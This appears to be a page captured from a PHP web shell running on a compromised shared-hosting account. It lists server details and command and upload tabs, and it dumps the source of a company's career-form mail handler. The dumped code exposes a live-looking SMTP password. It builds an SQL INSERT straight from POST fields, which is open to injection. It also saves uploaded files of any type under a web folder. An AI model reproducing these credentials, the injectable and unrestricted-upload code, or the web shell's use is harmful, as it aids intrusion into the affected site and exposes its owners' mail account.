|
Server IP : 145.79.210.100 / Your IP : 216.73.216.101 Web Server : LiteSpeed System : Linux in-mum-web1954.main-hosting.eu 5.14.0-570.26.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 16 09:12:04 EDT 2025 x86_64 User : u474798400 ( 474798400) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u474798400/domains/excentia.in/public_html/admin/upload_image/../../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include('phpmailer/class.phpmailer.php');
include('phpmailer/class.smtp.php');
include('admin/config.php');
$fname=$_POST['fname'];
$lname = $_POST['lname'];
$phoneno = $_POST['phoneno'];
$email=$_POST['email'];
$msg=$_POST['msg'];
// $filename = $_FILES["file"]["name"];
// $tempname = $_FILES["file"]["tmp_name"];
// $image_name=mt_rand(100000,999999).'_t'.$filename;
// $folder = 'admin/document/'.$image_name;
// move_uploaded_file($tempname, $folder);
// File upload handling
$filename = $_FILES["file"]["name"];
$tempname = $_FILES["file"]["tmp_name"];
$image_name = mt_rand(100000,999999) . '_t' . $filename;
$folder = 'admin/document/' . $image_name;
move_uploaded_file($tempname, $folder);
$mail= new PHPMailer();
$mail->IsSMTP();
$mail->SMTPAuth = true; // enable SMTP authentication
$mail->SMTPSecure = "ssl"; // sets the prefix to the servier
$mail->Host = "smtp.hostinger.com"; // sets GMAIL as the SMTP server
$mail->Port = 465; // set the SMTP port
$mail->Username = "mail@excentia.in"; // GMAIL username
$mail->Password = "W@bsit#Mail99"; // GMAIL password
$mail->From = "mail@excentia.in";
$mail->FromName = "Excentia Work With Us Form";
$mail->Subject = "Work With Us";
//$mail->Body = "This is the HTML message body <b>in bold!</b>";
$mail->AltBody = "Enquiry Details"; //Text Body
$mail->WordWrap = 50; // set word wrap
$mail->IsHTML(true); // send as HTML
$mail->Body='<div style="width:700px; font-family:Arial; font-size:12px">
<div><br /><br /><br /><br />
Contact Us<br /><br />
<div>
<div style="width:75px; float: left;"><strong>First Name:</strong></div>
<div style="float: left;">'.$fname.'</div>
<div style="clear:both;"></div>
<div style="width:75px; float: left;"><strong>Last Name:</strong></div>
<div style="float: left;">'.$lname.'</div>
<div style="clear:both;"></div>
<div style="width:75px; float: left;"><strong>Phone No:</strong></div>
<div style="float: left;">'.$phoneno.'</div>
<div style="clear:both;"></div>
<div style="width:75px; float: left;"><strong>Email:</strong></div>
<div style="float: left;">'.$email.'</div>
<div style="clear:both;"></div>
<div style="width:75px; float: left;"><strong>Message:</strong></div>
<div style="float: left;">'.$msg.'</div>
<div style="clear:both;"></div>
<div style="width:75px; float: left;"><strong>File:</strong></div>
<div style="float: left;">'.$filename.'</div>
</div>
</div>';
//$mail->addAttachment($tempname, $folder);
$mail->addAttachment($folder, $filename);
$mail->AddReplyTo($email,"Reply To");
$mail->AddAddress('career@excentia.in',"Work With Us Form");
if(!$mail->Send()) {
echo "Mailer Error: " . $mail->ErrorInfo;
}
else{
$sql = "INSERT INTO tbl_work_with_us(`fname`,`lname`,`phone_no`,`email`,`message`,`file`) values ('$fname','$lname','$phoneno','$email','$msg','$image_name')";
$result = mysqli_query($conn, $sql);
if($result){
echo 1;
}
else{
echo 0;
}
}
?>